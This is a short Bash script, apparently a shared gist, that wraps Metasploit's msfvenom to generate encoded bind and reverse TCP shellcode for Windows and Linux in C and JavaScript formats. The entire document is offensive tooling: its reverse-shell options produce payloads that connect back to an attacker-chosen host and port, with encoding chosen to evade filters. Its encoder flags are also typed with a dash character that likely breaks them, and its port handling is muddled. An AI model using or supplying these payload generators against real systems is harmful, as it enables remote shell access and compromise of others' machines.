Common Shells Generated w/ msfvenom

commonwealthoshells.sh

#!/bin/bash --login
msf_root='/opt/metasploit-framework-dev'
payload="${1}"
lhost="${2}"
lport="${3}"

usage() {
  echo "${0} bind_win <lport>||bind_lin <lport>||rev_win <lhost> <lport>||rev_lin <lhost> <lport>||rev_win_js <lhost> <lport>||rev_lin_js <lhost> <lport>"
  exit 1
}

if [[ $lhost == '' && ( $payload == 'rev_win' || $payload == 'rev_lin' || $payload == 'rev_win_js' || $payload == 'rev_lin_js' ) ]]; then
  usage
fi

if [[ $lport == '' && ( $payload == 'bind_win' || $payload == 'bind_lin' ) ]]; then
  lport="${2}"
  if [[ $lport == '' ]]; then
    lport=9999
  fi
else
  lport=9999
fi

case $payload in
  bind_win) payload='windows/shell_bind_tcp'
    cd $msf_root && ./msfvenom -p $payload LPORT=$lport EXITFUNC=thread -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai  --smallest
    ;;
  bind_lin) payload='linux/x86/shell_bind_tcp'
    cd $msf_root && ./msfvenom -p $payload LPORT=$lport EXITFUNC=thread -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai  --smallest
    ;;
  rev_win) payload='windows/shell_reverse_tcp'
    cd $msf_root && ./msfvenom -p $payload LHOST=$lhost LPORT=$lport EXITFUNC=thread -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai  --smallest
    ;;
  rev_lin) payload='linux/x86/shell_reverse_tcp'
    cd $msf_root && ./msfvenom -p $payload LHOST=$lhost LPORT=$lport EXITFUNC=thread -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai  --smallest
    ;;
  rev_win_js) payload='windows/shell_reverse_tcp'
    cd $msf_root && ./msfvenom -p $payload LHOST=$lhost LPORT=$lport -f js_le –e generic/none  --smallest
    ;;
  rev_lin_js) payload='linux/x86/shell_reverse_tcp'
    cd $msf_root && ./msfvenom -p $payload LHOST=$lhost LPORT=$lport -f js_le –e generic/none --smallest
    ;;
  *) usage
esac